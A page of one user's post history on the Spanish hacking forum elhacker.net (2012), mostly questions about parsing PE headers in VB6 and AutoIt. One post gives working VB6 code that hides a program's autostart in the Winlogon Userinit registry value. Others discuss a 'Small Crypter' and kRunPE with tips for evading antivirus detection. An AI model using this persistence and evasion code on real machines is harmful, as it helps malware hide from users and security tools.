elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Mensajes
Páginas: 1 ... 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 [48] 49 50
471  Programación / Programación Visual Basic / Re: Msconfig hide add to startup en: 9 Agosto 2012, 15:04 pm
 the black backgroung is cuz Explorer is not running. so Use the  Userinit key.




Código
  1. Private Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal HKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, ByRef phkResult As Long) As Long
  2. Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal HKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
  3. Private Declare Function RegCloseKey Lib "advapi32" (ByVal HKey As Long) As Long
  4.  
  5.  
  6. Private Const HKEY_CURRENT_USER = &H80000001
  7. Private Const HKEY_LOCAL_MACHINE = &H80000002
  8. Private Const KEY_WRITE = &H20006
  9. Private Const REG_SZ = 1
  10.  
  11.  
  12.  
  13. Private Sub Dosyayi_Baslangica_Ekle(ByVal HKey As Long, ByVal MKey As String, ByVal stringKeyVal As String, ByVal subkey As String)
  14. Dim HRKey As Long, StrB As String
  15. Dim retval As Long
  16.    retval = RegOpenKeyEx(HKey, subkey, 0, KEY_WRITE, HRKey)
  17.        If retval <> 0 Then
  18.            Exit Sub
  19.        End If
  20.    StrB = stringKeyVal & vbNullChar
  21.    retval = RegSetValueEx(HRKey, MKey, 0, REG_SZ, ByVal StrB, Len(StrB))
  22.    RegCloseKey HRKey
  23. End Sub
  24.  
  25. Private Sub Command1_Click()
  26.  
  27. Dim sMyPath As String
  28.  
  29. file = "C:\Users\Pink\Desktop\Anotador.exe"
  30. sMyPath = (App.Path & "\" & App.EXEName & ".exe")
  31. Call Dosyayi_Baslangica_Ekle(HKEY_LOCAL_MACHINE, "Userinit", "C:\Windows\system32\userinit.exe," & sMyPath, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon")
  32.  
  33. End Sub
  34.  

Saludos
472  Programación / Programación Visual Basic / Re: Msconfig hide add to startup en: 8 Agosto 2012, 19:35 pm
Can you give a sample project?

http://www.ex-designz.net/apidetail.asp?api_id=183
473  Programación / Ingeniería Inversa / Re: Valor CFF explorer? en: 8 Agosto 2012, 18:22 pm
Pueden darlo por Solucionado.

Solución



;e_lfanew+IMAGE_NT_HEADERS+IMAGE_DOS_HEADER+IMAGE_FILE_HEADER+sección


o también



;MAGE_NT_HEADERS+valor e_lfanew


Saludos Y muchas gracias.
474  Programación / Programación Visual Basic / Re: Duda Realing PE Karcrack? en: 8 Agosto 2012, 17:36 pm
En realidad gran parte del trabajo de memoria con las estructuras lo puedes obviar y trabajar directamente con los offsets de referencia... Échale un ojo al kRunPE:
Código:
http://foro.elhacker.net/programacion_visual_basic/mvb6fud_krunpe_ejecuta_ejecutables_desde_bytearray-t300432.0.html

Ahí hay un bucle que recorre todas las secciones del PE y verás como lo hace con offsets, sin tener que ir copiando estructuras completas.

ByteArray(idh.e_lfanew + Len(inh) + Len(ish(i)) * i)
Te explico más detalladamente: lo que haces ahí es obtener el primer byte de la sección en cuestión, pero como tienes declarado el parámetro de la API como ByRef lo que le pasa es el puntero al primer byte de la sección. Si quieres evitar acceder a "ByteArray" por cuestiones de detección declara el segundo parámetro de CopyMemory() como ByVal y puedes pasarle directamente (idh.e_lfanew + Len(inh) + Len(ish(i)) * i) pero recuerda arreglar el resto de punteros ;)

Un saludo


Muchas gracias Ya entiendo. Igual me voy a mirar el kRunPE. saludos Karcrack
475  Programación / Ingeniería Inversa / Re: Descompilar Derive en: 8 Agosto 2012, 17:28 pm
Todas esas formulas Matemáticas están en Wikipedia.  :rolleyes:
476  Programación / Programación Visual Basic / Re: Duda Realing PE Karcrack? en: 8 Agosto 2012, 17:03 pm
Si no me equivoco esté código no es mío, sino de Cobein. Aún así lo que hace esa linea es rellenar la estructura de la sección ISH(i) con los correspondientes valores de la cabecera PE.

Si ésto te suena a chino mejor será que le eches un ojo al excelente trabajo de The Swash
Código:
http://foro.elhacker.net/analisis_y_diseno_de_malware/taller_en_construccionsecciones_en_archivos_pe-t362515.0.html

Saludos

donde lo consegui dice que es tuyo. :S

aqui el codigo completo.

Código:
Option Explicit 
 
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Dest As Any, Src As Any, ByVal L As Long)
 
Private Enum ImageSignatureTypes
    IMAGE_DOS_SIGNATURE = &H5A4D     '' MZ
    IMAGE_OS2_SIGNATURE = &H454E     '' NE
    IMAGE_OS2_SIGNATURE_LE = &H454C  '' LE
    IMAGE_VXD_SIGNATURE = &H454C     '' LE
    IMAGE_NT_SIGNATURE = &H4550      '' PE00
End Enum
 
Private Type IMAGE_DOS_HEADER
    e_magic As Integer        ' Magic number
    e_cblp As Integer         ' Bytes on last page of file
    e_cp As Integer           ' Pages in file
    e_crlc As Integer         ' Relocations
    e_cparhdr As Integer      ' Size of header in paragraphs
    e_minalloc As Integer     ' Minimum extra paragraphs needed
    e_maxalloc As Integer     ' Maximum extra paragraphs needed
    e_ss As Integer           ' Initial (relative) SS value
    e_sp As Integer           ' Initial SP value
    e_csum As Integer         ' Checksum
    e_ip As Integer           ' Initial IP value
    e_cs As Integer           ' Initial (relative) CS value
    e_lfarlc As Integer       ' File address of relocation table
    e_ovno As Integer         ' Overlay number
    e_res(0 To 3) As Integer  ' Reserved words
    e_oemid As Integer        ' OEM identifier (for e_oeminfo)
    e_oeminfo As Integer      ' OEM information; e_oemid specific
    e_res2(0 To 9) As Integer ' Reserved words
    e_lfanew As Long          ' File address of new exe header
End Type
 
' MSDOS File header
Private Type IMAGE_FILE_HEADER
    Machine As Integer
    NumberOfSections As Integer
    TimeDateStamp As Long
    PointerToSymbolTable As Long
    NumberOfSymbols As Long
    SizeOfOptionalHeader As Integer
    characteristics As Integer
End Type
 
' Directory format.
Private Type IMAGE_DATA_DIRECTORY
    VirtualAddress As Long
    Size As Long
End Type
 
' Optional header format.
Const IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
 
Private Type IMAGE_OPTIONAL_HEADER
    ' Standard fields.
    Magic As Integer
    MajorLinkerVersion As Byte
    MinorLinkerVersion As Byte
    SizeOfCode As Long
    SizeOfInitializedData As Long
    SizeOfUnitializedData As Long
    AddressOfEntryPoint As Long
    BaseOfCode As Long
    BaseOfData As Long
    ' NT additional fields.
    ImageBase As Long
    SectionAlignment As Long
    FileAlignment As Long
    MajorOperatingSystemVersion As Integer
    MinorOperatingSystemVersion As Integer
    MajorImageVersion As Integer
    MinorImageVersion As Integer
    MajorSubsystemVersion As Integer
    MinorSubsystemVersion As Integer
    W32VersionValue As Long
    SizeOfImage As Long
    SizeOfHeaders As Long
    CheckSum As Long
    SubSystem As Integer
    DllCharacteristics As Integer
    SizeOfStackReserve As Long
    SizeOfStackCommit As Long
    SizeOfHeapReserve As Long
    SizeOfHeapCommit As Long
    LoaderFlags As Long
    NumberOfRvaAndSizes As Long
    DataDirectory(0 To IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY
End Type
 
Private Type IMAGE_NT_HEADERS
    Signature As Long
    FileHeader As IMAGE_FILE_HEADER
    OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type
 
' Section header
Const IMAGE_SIZEOF_SHORT_NAME = 8
 
Private Type IMAGE_SECTION_HEADER
   SecName As String * IMAGE_SIZEOF_SHORT_NAME
   VirtualSize As Long
   VirtualAddress  As Long
   SizeOfRawData As Long
   PointerToRawData As Long
   PointerToRelocations As Long
   PointerToLinenumbers As Long
   NumberOfRelocations As Integer
   NumberOfLinenumbers As Integer
   characteristics  As Long
End Type
 
Public ByteArray() As Byte                  ' Byte array del archivo a leer
Public TempArray() As Byte                  ' Array temporal para reducir el ByteArray
Public Config()    As Byte                  ' La posible configuraci&#65533;n del archivo leido
Public idh         As IMAGE_DOS_HEADER      ' Cabeceras
Public inh         As IMAGE_NT_HEADERS
Public ish()       As IMAGE_SECTION_HEADER
 
 
Sub RellenarPE(Ruta As String)
 
    Open Ruta For Binary As #1
      ReDim ByteArray(LOF(1) - 1)
      Get #1, , ByteArray
    Close #1
 
    ' Leemos el MS-DOS stub
    CopyMemory idh, ByteArray(0), Len(idh)
    If idh.e_magic <> IMAGE_DOS_SIGNATURE Then
       MsgBox "Formato PE no v�lido", vbCritical, "Small Crypter"
       Exit Sub
    End If
 
    ' Leemos a partir del PE00 comletando a su vez:
    '   -> IMAGE_FILE_HEADER     (COFF File Header)
    '   -> IMAGE_OPTIONAL_HEADER (Optional  Header)
    CopyMemory inh, ByteArray(idh.e_lfanew), Len(inh)
    If inh.Signature <> IMAGE_NT_SIGNATURE Then
       MsgBox "Formato PE no v�lido", vbCritical, "Small Crypter"
       Exit Sub
    End If
 
    ' Leemos las distintas secciones
    Dim i As Integer
    ReDim ish(inh.FileHeader.NumberOfSections - 1)
    For i = 0 To inh.FileHeader.NumberOfSections - 1
        Call CopyMemory(ish(i), ByteArray(idh.e_lfanew + Len(inh) + Len(ish(i)) * i), Len(ish(i)))
    Next i
 
End Sub 


lo que me pregunto que si todo esto  ByteArray(idh.e_lfanew + Len(inh) + Len(ish(i)) * i) lo podria resumir obteniendo el VirtualAddress.


477  Programación / Programación Visual Basic / Re: Msconfig hide add to startup en: 8 Agosto 2012, 16:19 pm
there are many way.

here one of them


You can add it in Userinit.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon


 Userinit

C:\Windows\system32\userinit.exe,C:\yourprogram.exe


Saludos :)

478  Programación / Ingeniería Inversa / Re: Valor CFF explorer? en: 8 Agosto 2012, 01:22 am
gracias haciendo lo que dices :S haha No habia tomado en cuenta el tamaño, tomando el tamaño de IMAGE_DOS_HEADER+IMAGE_NT_HEADERS solo me faltan 100  que no se de donde saldrían para llegar al offset que quiero.

muchas gracias por tu tiempo.
479  Programación / Ingeniería Inversa / Re: Valor CFF explorer? en: 8 Agosto 2012, 01:01 am
La estructura PE es muy simple. En el caso de las secciones, tienes los valores Virtual y los Raw. Los Raw son offsets en el file. Los virtuales son despues de haber mapeado en memoria.

Como te dije antes, el formato PE explica todo...

Saludos!

ya me he leído varias veces pero todavía no lo capto.

como otener :S el offset. ese valor 000001B0  no se de donde sale :S
480  Programación / Ingeniería Inversa / Re: Valor CFF explorer? en: 8 Agosto 2012, 00:37 am
como obtuviste el nombre (.text) y los otros, simplemente es eso, la direccion,

Trabajo con autoit. lo que hago es crear la estructura.

la relleno. y luego obtengo los datos de la estructura.

pero en ninguna parte veo la forma de obtener el offset.

Páginas: 1 ... 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 [48] 49 50
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines